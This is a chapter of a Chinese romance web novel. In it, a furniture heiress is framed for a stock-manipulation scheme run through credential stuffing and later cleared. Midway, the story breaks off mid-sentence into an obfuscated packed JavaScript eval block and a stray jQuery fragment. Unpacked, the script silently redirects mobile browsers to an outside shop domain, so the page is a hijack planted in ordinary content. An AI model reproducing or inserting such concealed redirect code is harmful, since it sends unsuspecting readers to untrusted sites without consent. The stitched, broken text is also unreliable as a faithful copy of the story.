芊茉回国后住的还是五年前那个平层,童鸢提前找人帮她打扫过。
从拍卖会回到家中,天色已经完全暗了下来,她没开灯,坐到沙发上,看向落地窗外,清冷的月色笼罩着这个世界,描着她心口血色的残骸。
刚才叶景澜说完“你最好同意”,她转身就走了,叶景澜没拦,也没追。
她最好同意?
五年前两人之间就已落下天堑,此时此刻,又怎么可能和好如初。
大四的时候,父亲带着锦浣家居攻下全球大半江山,一度制霸家居行业,缔造了家居界的神话。
不仅在A股上市,也准备在港股上市。
大四那个寒假,芊茉赶到A国陪父母过完年,就准备一起去香港,见证锦浣家居在港股成功上市。
但那日,芊茉刚下飞机,还未走出机场,就被警方拦下,押送回国。
一回国,芊茉就被拘留审问,封闭幽暗的审问室里,仅有一束强光刺着她的眼睛,芊茉此刻才得知,她被指控窃取多人股票资金账号及密码,操纵他人账户低卖高买自家股票,从中牟取暴利,涉及金额巨大。
缘由三天前,有几百个高净值投资者账号发生异地登录,账户里原有的股票全部被人清仓,并高位买入锦浣食品,涉及十几家券商。
这些投资者开户券商虽然不同,但同样使用三方交易软件,三方软件可以兼容多家券商的账号登陆。
通过技术渗透获取用户数据对于地下黑产来说并非难事,但合规和隐私保护是金融市场监管最核心的要素,这场窃取账户的操盘者,如此明目张胆地喝着股民的血,用令人发指的方式恶意接盘,简直开创了操纵股价的先河,相比之下,那些找私募出货骗配资接盘的手段简直跟小学生似的。
是操纵股市最恶劣的C位剧情。
三方交易软件自证清白之后,市场的所有矛头都指向锦浣家居。
经调查,被盗账户均发生异地登陆,而交易的ip地址经查证,同为芊茉使用的电脑。
而芊茉是锦浣家居唯一的继承人。
审问人步步逼问:
“为什么要主导这场恶劣的操纵市场?”
芊茉连发丝都在眼前颤抖,“……我没有。”
“知道你的行为有辱锦浣家居【国货之光】的称号吗?”
“……我没有。”
“你是否知道自己已经触犯盗窃罪,等待你的将会是严厉的法律制裁?”
“……我没有。”
“………”
最后,她连否认的力气都失去了。
穷途末路之时,她提出要见父亲。
审问人遗憾地告诉她,她的双亲在赶去机场接她的时候出了车祸,两人均当场离世。
而她,符合盗窃罪的特征,并以其实际占为己有的数额作为盗窃数额,将以盗窃罪定罪处罚,等待她的将会是漫长的牢狱生活。
在这之前,芊茉是被父母和苏沂保护得很好的大小姐,百无禁忌,不问世俗。
但此刻,在幽闭黑暗的关押室内,她骨血里的骄傲肆意一点点被抽干。
此事一出,震惊全国股民,各方新闻下的评论铺天盖地:
“被隔空神力一键清空所有持仓,高位接盘锦浣家居,简直令人发指闻所未闻啊。”
“割韭菜之盗号高位接盘法,简直是核弹级的盖世神功。”
“这哪是销向全球的国货之光,简直是投向股民的绝世毒药。”
“锦浣家居”从此在大家口中变成了“锦浣毒药”,同时开启一字板跌停的噩梦。
芊茉向亲戚和大股东们求助。
但人走茶凉,何况此刻锦浣家居已臭名昭著,亲戚朋友以及合作伙伴,生怕与她扯上半分的联系,全部拒绝出面。
只有苏沂的父母站出来为她撑腰:“如今茉茉的父母不在,我们便是她的父母。”
而苏沂,放下手中正处于研发关键期的项目,从国外赶回来,亲自调查这件事。
很快,苏沂便举证是一家叫做“暗中观察”的机构利用撞库盗取股民的股票账户,而非芊茉。
撞库,即黑客入侵一些防范程度较低的软件或网站,盗取用户数据,获得用户名、手机号以及密码,批量套在三方股票交易软件上尝试登陆,盗取成功登陆账户的高价值。
而交易IP地址对应的是芊茉放在寝室的电脑,芊茉所住公寓楼前的监控可以证明,数百个账户发生交易的那天她一直待在公寓中,并未返校,操纵账户非她所为。
同时,苏沂提供证明,芊茉与“暗中观察”这家机构没有任何形式上的往来。
调查至此,便可证明这场盗号操纵市场的行为与芊茉无关,而是一场要置锦浣家居和芊茉以死地的商业阴谋。
芊茉终于无罪释放。
苏沂接芊茉回家的那天,经历了无数遍拷问和重大打击的女生虚弱的连路都无法行走,坐在轮椅上被人推出来。
苏沂心疼的红了眼眶。
他半蹲在轮椅前,伸手轻轻拨开她凌乱的遮住眉眼的头发,看着她的眼睛,道:
“茉茉,别怕。”
“有我在,世界上的不堪都不会再落到你身上。”
芊茉被苏沂带回了家,那段时间,风爆重生,苏家是她狼狈逃亡时唯一的栖息地。
苏沂继续往下查,想找出始作俑者,却遭到了前所未有的阻力,连苏沂都查不动,其背后必然有超乎想象的势力。
但苏沂对有人伤害芊茉这件事很是恼怒,加大举措,势必要查出个结果。
查到最后,所有证据指向一家私募机构。
据私募机构说,他们旗下的产品配置了大量的锦浣家居,但近期察觉锦浣家居已露颓势,为了避免大幅亏损,急于出货,但市场成交量不足,因此不折手段盗用股民账户为其接盘。
不难看出,这家私募机构是始作俑者祭出的替罪羊。
但再往下查,就什么也查不到了。
苏沂将目光移向市场。
很快他发现,司家是这场商战最大的受益者。
司家业务分两块,家居和新开展的网络安全。
司音家居在最大的对手锦浣家居陷入风口浪尖之时大举做活动,抢占了市场占有率。
同时,锦浣家居的事件将网络安全这一板块推入大众的视野,AI时代下,万物皆可被追踪,网络安全问题在此刻得到了空间的重视,彼时法律层面并没有对谁是数据的拥有者作出明确界定,亦未出台对于数据泄漏追责与处罚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617534|205843||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的明确条例。
司家借着市场对盗用账户的骂声,将网络安全普及到千家万户,让自家的新产业实现了质的飞跃。
单凭司家,不至于让苏沂查不到真相。
但司家的靠山是叶家,如果叶家插手了此事,那苏沂查不到真相就合理了起来。
叶家的势力之大,即便是苏沂,也很难与之抗衡。
不确定叶家在这场商战中扮演了什么样的角色,但综合芊茉、叶景澜、司晚、叶景汐之间的关系,也不难想象叶家的目的。
一环扣着一环,一击接着一击,猝不及防地置之死地,让芊茉和锦浣家居无从生还。
他们的目的达到了,那段时间的芊茉,像个碎裂的瓷器,长久而安静地坐在一处,眼神轻得近乎透明,半分不聚焦,毫无生气。
苏沂眼睁睁地看着她鲜活的生命力消失殆尽。
那么一个惊艳的女孩,被踩踏成世间的一粒尘埃。
尤其先入为主之后,真相在大众眼里已经不那么重要了,锦浣家居被永远地钉在历史的耻辱柱上。
万众所责下的正亦是万恶不赦的错。
但那绝对不是她的错。
刚从拘留所出来的那段时间,苏沂日夜陪着芊茉,用了很多办法帮她振作起来。
终于,无尽暗夜被苏沂这道光划开,芊茉决定站出来。
父母在意外中逝去,锦浣家居只有她了,即便所到之处骂者如云,她也不能再看着祖辈的积业溃败下去。
看着芊茉振作起来苏沂很高兴,同时道:
“我无法时时刻刻陪伴在你身边,在你重整旗鼓之前,我们先去领一张结婚证。”
芊茉明白苏沂的意思。
苏太太的身份可以帮她抵挡很多非议,解决很多麻烦。
芊茉没有拒绝。
五年的时间,借着苏沂的力和资源,她成长为可以独挡一面的芊茉,将锦浣家居在国外的分部运行的风生水起,而后回了国。
下一步,便是要将锦浣家居在国内的部分重新盘活。
回国后,芊茉将苏太太的身份还给了苏沂。
但苏沂依旧在朋友圈里发着和芊茉的合照,用行动告诉世人,不管有没有那张结婚证,她都是他要护着的小姑娘。
她的骄傲,她的鲜明,她的未来,他都会护着。
因为那场盗号危机,这五年,锦浣家居国内业务量缩减了98%,靠着一些老客户苟延残喘,这些年芊茉主攻国外业务,无暇顾及国内,便聘请了一个职业经理人李奇打理着这个空壳。
这次回来,便是要复兴国内业务。
芊茉抬头看了看窗外,深夜的天空,有架飞机在夜空中留下悠长的光痕,像一场孤独到极致的流星雨。
这五年,她拼命复兴着国外业务,所有委屈,不甘,绝望,都被她的目标镇压,她不允许自己被消极难过消耗精力,因为下一秒或许就要像暴风一样反击。
同时,她从来都不敢细想,和叶景澜的恋爱,是不是致命错误。
她觉得她和叶景澜最好的结局就是老死不相往来,永生不见,这样她就不用审视他们的过去。
可回国第一天他就找来了。
要求复合。
他要求复合?